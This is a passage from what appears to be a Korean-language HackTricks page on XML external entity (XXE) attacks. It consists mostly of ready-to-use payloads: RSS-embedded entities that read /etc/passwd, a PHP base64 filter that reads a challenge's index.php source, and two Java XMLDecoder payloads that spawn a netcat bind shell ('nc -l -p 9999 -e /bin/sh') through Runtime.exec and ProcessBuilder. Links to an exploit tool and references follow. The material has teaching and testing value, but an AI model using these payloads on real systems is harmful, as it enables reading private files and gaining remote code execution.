<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
파일 읽기
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
소스 코드 읽기
PHP base64 필터 사용
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
Java XMLDecoder XEE to RCE
XMLDecoder는 XML 메시지를 기반으로 객체를 생성하는 Java 클래스입니다. 악의적인 사용자가 응용 프로그램이 readObject 메소드 호출 시 임의의 데이터를 사용하도록 할 수 있다면, 즉시 서버에서 코드 실행을 얻을 수 있습니다.
Runtime().exec() 사용하기
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
ProcessBuilder
ProcessBuilder
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
도구
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
참고 자료
- https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf\
- https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html\
- 자체 외부 DTD를 사용하여 HTTP를 통해 정보 추출: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/\
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection\
- https://gist.github.com/staaldraad/01415b990939494879b4\
- https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9\
- https://portswigger.net/web-security/xxe\
- https://gosecure.github.io/xxe-workshop/#7
htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면 구독 요금제를 확인하세요!
- 공식 PEASS & HackTricks 스왜그를 구매하세요
- The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
- 💬 디스코드 그룹 또는 텔레그램 그룹에 가입하거나트위터** 🐦 @carlospolopm를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.